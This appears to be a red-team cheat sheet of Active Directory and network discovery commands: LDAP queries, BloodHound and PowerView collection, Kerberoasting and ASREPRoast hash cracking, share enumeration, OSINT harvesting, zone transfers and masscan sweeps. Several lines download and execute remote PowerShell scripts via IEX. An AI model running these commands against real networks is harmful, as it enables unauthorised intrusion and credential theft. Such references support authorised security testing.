Discovery
The adversary is trying to figure out your environment. https://attack.mitre.org/tactics/TA0007/
User Group Membership
Get-ADPrincipalGroupMembership "USERNAME" | Select name
MachineAccountQuote Lookup
$domain = "burmat.local"
$domainDN = (Get-ADDomain -Identity $domain).DistinguishedName
$addMachineQuota = (Get-ADObject -Identity $domainDN -Properties ms-DS-MachineAccountQuota).'ms-DS-MachineAccountQuota'
Write-Host "Current AddMachineQuota value: $addMachineQuota"
AD Enumeration via ADSI DirectorySearcher
DirectorySearcher
Use the following to leverage ADSI and PowerShell for LDAP Queries
$users = ([adsisearcher]"<LDAP QUERY HERE>").FindAll();
Computer/User Objects
([adsisearcher]'(&(objectCategory=Computer))').FindAll();
([adsisearcher]'(&(objectCategory=User))').FindAll();
SPNs
([adsisearcher]"(&(&(servicePrincipalName=*) (UserAccountControl:1.2.840.113556.1.4.803:=512)) (!(UserAccountControl:1.2.840.113556.1.4.803:=2)))").FindAll();
Or
$s = New-Object DirectoryServices.DirectorySearcher([ADSI]"");
$s.PageSize = 2000;
$s.Filter = "(servicePrincipalName=*)";
$s.FindAll();
Unconstrained delegation
([adsisearcher]"(&(&(objectCategory=person)(objectClass=user)) (!userAccountControl:1.2.840.113556.1.4.803:=524288))").FindAll();
Local Administrator Password Solution (LAPS)
Retrieve computers that are not configured with LAPS
Get-ADComputer -Credential $cred -Server BURMAT.LOCAL -Filter {ms-Mcs-AdmPwd -notlike "*"} | Export-CSV -Path C:\temp\no_laps.csv;
BOFHound
You can use BOFHound to convert the output from the BOF ldapsearch
or from pyldapsearch
to BloodHound-compatible JSON files.
Collection
pyldapsearch burmat.co/jsmith:Password123 '(objectClass=domain)'
pyldapsearch burmat.co/jsmith:Password123 '(objectClass=computer)'
pyldapsearch burmat.co/jsmith:Password123 '(objectClass=user)'
pyldapsearch burmat.co/jsmith:Password123 '(objectClass=trustedDomain)'
pyldapsearch burmat.co/jsmith:Password123 '(objectClass=organizationalUnit)'
pyldapsearch burmat.co/jsmith:Password123 '(&(objectClass=group)(|(cn=Domain Admins)(cn=Enterprise Admins)(cn=Schema Admins)))'
pyldapsearch burmat.co/jsmith:Password123 '(objectClass=groupPolicyContainer)'
pyldapsearch burmat.co/jsmith:Password123 '(&(objectClass=user)(servicePrincipalName=*))'
Conversion
# bofhound -o output -i /root/.pyldapsearch/logs/
_____________________________ __ __ ______ __ __ __ __ _______
| _ / / __ / | ____/| | | | / __ \ | | | | | \ | | | \
| |_) | | | | | | |__ | |__| | | | | | | | | | | \| | | .--. |
| _ < | | | | | __| | __ | | | | | | | | | | . ` | | | | |
| |_) | | `--' | | | | | | | | `--' | | `--' | | |\ | | '--' |
|______/ \______/ |__| |__| |___\_\________\_\________\|__| \___\|_________\
by Fortalice ✪
[08:49:53] INFO Located 2 beacon log files
[08:49:56] INFO Parsed 18146 objects from 2 log files
[08:49:56] INFO Sorting parsed objects by type...
[08:49:56] INFO Parsed 4519 Users
[08:49:56] INFO Parsed 1 Groups
[08:49:56] INFO Parsed 4390 Computers
[08:49:56] INFO Parsed 1 Domains
[08:49:56] INFO Parsed 6 Trust Accounts
[08:49:56] INFO Parsed 358 OUs
[08:49:56] INFO Parsed 84 GPOs
[08:49:56] INFO Parsed 0 Schemas
[08:49:56] INFO Parsed 0 Unknown Objects
[08:50:29] INFO Parsed 338257 ACL relationships
[08:50:29] INFO Created default users
[08:50:29] INFO Created default groups
[08:50:29] INFO Resolved group memberships
[08:50:29] INFO Resolved delegation relationships
[08:50:29] INFO Resolved OU memberships
[08:50:29] INFO Linked GPOs to OUs
[08:50:29] INFO Resolved domain trusts
[08:50:31] INFO JSON files written to output
References:
BloodHound
Ingester Launch
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.123/ps/SharpHound.ps1');
Invoke-BloodHound -CollectionMethod All -CompressData -SkipPing;
LDAP Enumeration
Null Sessions
ldapsearch -x -h 10.10.10.123 -D '' -w '' -b "DC=BURMAT,DC=LOCAL"
LDAP Queries
Below are some useful LDAP queries that will help you enumerate a system. Some of them require a valid username/password to get more information. My go-to for these queries is ldapsearch
. Use the following command and fill in your LDAP query in the placeholder:
ldapsearch -LLL -x -H ldap://burmat.local -D "svc-burmat" -w "burmat123$" -b "dc=burmat,dc=LOCAL" "<LDAP QUERY HERE>"
Domain Usernames
Get usernames into a list by enumerating user objects:
ldapsearch -x -h burmat.local -b "dc=burmat,dc=local" -s sub "(objectclass=user)" | grep sAMAccountName | cut -d " " -f 2 > users.txt
ASREPRoast
## ldap filter to find accounts susceptible to this:
"(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
## generate a list of user accounts and use impacket to exploit:
## and if you get a ticket, you can crack it:
hashcat -m 18200 -a 0 --force user.hash /usr/share/wordlists/rockyou.txt
Users with SPNs
"(&(&(servicePrincipalName=*) (UserAccountControl:1.2.840.113556.1.4.803:=512)) (!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"
If you get valid domain credentials, you can dump them w/ impacket for offline cracking:
GetUserSPNs.py -request burmat.local/svc-burmat:burmat123
User / Computers with Unconstrained Delegation
# user:
"(&(&(objectCategory=person) (objectClass=user)) (userAccountControl:1.2.840.113556.1.4.803:=524288))"
# computer:
"(&(objectCategory=computer) (objectClass=computer) (userAccountControl:1.2.840.113556.1.4.803:=524288))"
Domain Administrators
"(&(objectClass=user) (memberof:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=burmat,DC=local))" "objectClass=groupPolicyContainer"
PowerSploit
Use the dev
branch or PowerSploit. For an already incredible cheat sheet, check out HarmJ0y's.
IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')
Get Domain Users
Get-DomainUser * -Domain burmat.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset, lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,mail,useraccountcontrol | Export-CSV users.csv
Retrieve Group Members
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object membername
Users Allowed to Delegate
Get-DomainUser -Credential $cred -Server dc01.burmat.local -Domain burmat.local -AllowDelegation -AdminCount | Export-Csv -Path C:\allowed_to_deleg.csv
User Description Gathering
Get-DomainUser -Credential $cred -Server dc01.burmat.local -Domain burmat.local -Properties SAMAccountName,Description | Select-Object SAMAccountName,Description | Export-CSV -Path C:\user_descriptions.csv
Enumerate User DACLs
Get-DomainObjectAcl -Identity it_admin -ResolveGUIDs ? { $_.SecurityIdentifier -Match $(ConvertTo-SID burmat) }
SPN Ticket Request (Kerberoasting)
Get-DomainUser * -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Export-Csv .\ticket.csv -NoTypeInformation
Domain Controller Discovery
Get-DomainComputer -Credential $cred -Server dc01.burmat.local -Domain burmat.local -SearchBase "LDAP://OU=Domain Controllers,DC=BURMAT,DC=LOCAL" | Export-Csv -Path C:\domain_controllers.csv
Domain Computers
Get-DomainComputer -Filter * -Server dc01.burmat.local | export-csv -Path C:\temp\domain_computers.csv
Unconstrained Delegation (Other than DCs)
Get-DomainComputer -Credential $cred -Server dc01.burmat.local -Domain burmat.local -Unconstrained | Export-Csv -Path C:\unconstrained_deleg_machines.csv
Network Shares Enumeration
Find-DomainShare -ComputerName fs01.domain.local -ComputerDomain domain.local -CheckShareAccess
Authenticated:
$secpassword = ConvertTo-SecureString 'Password123$' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $secpassword)
Find-DomainShare -Domain dir.svc.accenture.com -Credential $cred
Looping a list of hostnames:
foreach ($h in $smb_hosts) { Find-DomainShare -Credential $cred -computername "$h" -computerdomain burmat.local -server dc1.burmat.local -CheckShareAccess; }
theHarvester
An open-source intelligence (OSINT) gathering tool, that will tap into many difference APIs to gather data for you. GitHub: https://github.com/laramies/theHarvester Installation is a PITA. Put your API keys into the api-keys.yaml file in the root of the directory
Email Address Gathering
Getting a list of email addresses from intelx.io:
theHarvester.py -d contoso.com -b intelx >> intelx-contoso.com.txt
If you are doing multiple domains, you can use the following bash one-liner, where domains.txt
is a list of domain names to search:
while read d; do python3 theHarvester.py -b intelx -d $d -f "th-$d"; sleep 1; done < domains.txt
Clean up the output to just be emails with the following, if you have problems:
grep -i -o '[A-Z0-9._%+-]\\+@[A-Z0-9.-]\\+\\.[A-Z]\\{2,4\\}' intelx-contoso.com.txt
Web Enumeration
aquatone
Found here: GitHub - michenriksen/aquatone: A Tool for Domain Flyovers
Basic Usage
cat hosts.txt | aquatone -ports small -out scans/aquatone -threads 10 -screenshot-timeout 50000 -chrome-path /usr/bin/chromium
Nmap Scan Results
cat nmap/tcp_web.xml | aquatone -nmap -screenshot-timeout 50000 -out scans/aquatone -threads 10 -chrome-path /usr/bin/chromium
Using a Proxy via Burp
(Assuming Burp is listening to localhost:8080):
-proxy http://127.0.0.1:8080
Sonar
https://github.com/Cgboal/SonarSearch
go get github.com/cgboal/sonarsearch/cmd/crobat
Run the following to find domains associated to your scope, and extract the root-level domains for (potentially) additional scope:
for i in $(cat scope.txt); do crobat -r $i >> crobat_out.txt; done
Once you have a list root-level domains, use the results to find additional subdomains:
cat crobat_out.txt | assetfinder -subs-only
Quering the data from the dataset yourself (watch your storage space):
https://opendata.rapid7.com/sonar.fdns_v2/
You’ll wanna pull the most recent copy of the data, so ensure you update the following accordingly:
wget https://opendata.rapid7.com/sonar.fdns_v2/2021-06-27-1624784903-fdns_ns.json.gz
gunzip 2021-06-27-1624784903-fdns_ns.json.gz
cat 2021-01-30-1611965078-fdns_a.json | grep ".DOMAIN.com" | jq .name | tr '" " "' " / " | tee -a sonar
Using these commands, you should be able to pull out a lot of relevant domain names.
EyeWitness
EyeWitness is designed to take screenshots of websites provide some server header info, and identify default credentials if known.
Basic usage with Nmap results:
EyeWitness.py --web -x /root/port443.xml -d /root/output --no-prompt --jitter 3 --threads 3
You can drive it with a Nessus scan result too:
EyeWitness.py --web -x ~/NessusExport.xml
Network Discovery
Shodan
See here: Shodan
SPF/DMARC/DKIM
## SPF record:
nslookup -type=txt contoso.com
## DKIM lookup (this is a guess):
nslookup -type=txt s1._domainkey.contoso.com
# for Microsoft 365, you can pull the selector from an email header, but it will USUALLY follow this format (try both!!):
nslookup -type=txt selector1-burmatco-onmicrosoft-com._domainkey.burmatco.onmicrosoft.com
nslookup -type=txt selector2-burmatco-onmicrosoft-com._domainkey.burmatco.onmicrosoft.com
## DMARC lookup:
nslookup -type=txt _dmarc.contoso.com
DNS Zone Transfer
Windows
PS C> nslookup
Default Server: dns.adprod.directory
Address: 10.1.14.52
> server 10.1.11.52
Default Server: dc01.adprod.directory
Address: 10.1.11.52
> ls -d adprod.directory
[dc01.adprod.directory]
..SNIP..
Linux
dig axfr <DOMAIN_NAME_TO_TRANSFER> @<DNS_SYSTEM_IP>
# or
host -t axfr -l <DOMAIN_NAME_TO_TRANSFER> <DNS_SYSTEM_IP>
ARP
arp -a -n
masscan
This will do a ping sweep, then check for the following ports
masscan -iL ranges.txt -oG live --open-only --ping -p 80,443,445,22,3389 --rate=500
Use the sed
commands after putting your IP ranges into a text file:
masscan -c ./ranges.txt --ping --open-only -p 21,22,23,25,53,80,443,445,1433,3389,8080,8443 -oG discovery/live.txt --rate 300
sed -i.bak 's/^/ranges = /' discovery/Final_live.txt
Note: make sure your
ranges.txt
file is in the following format:range = 192.168.0.0/16
with line breaks
Last updated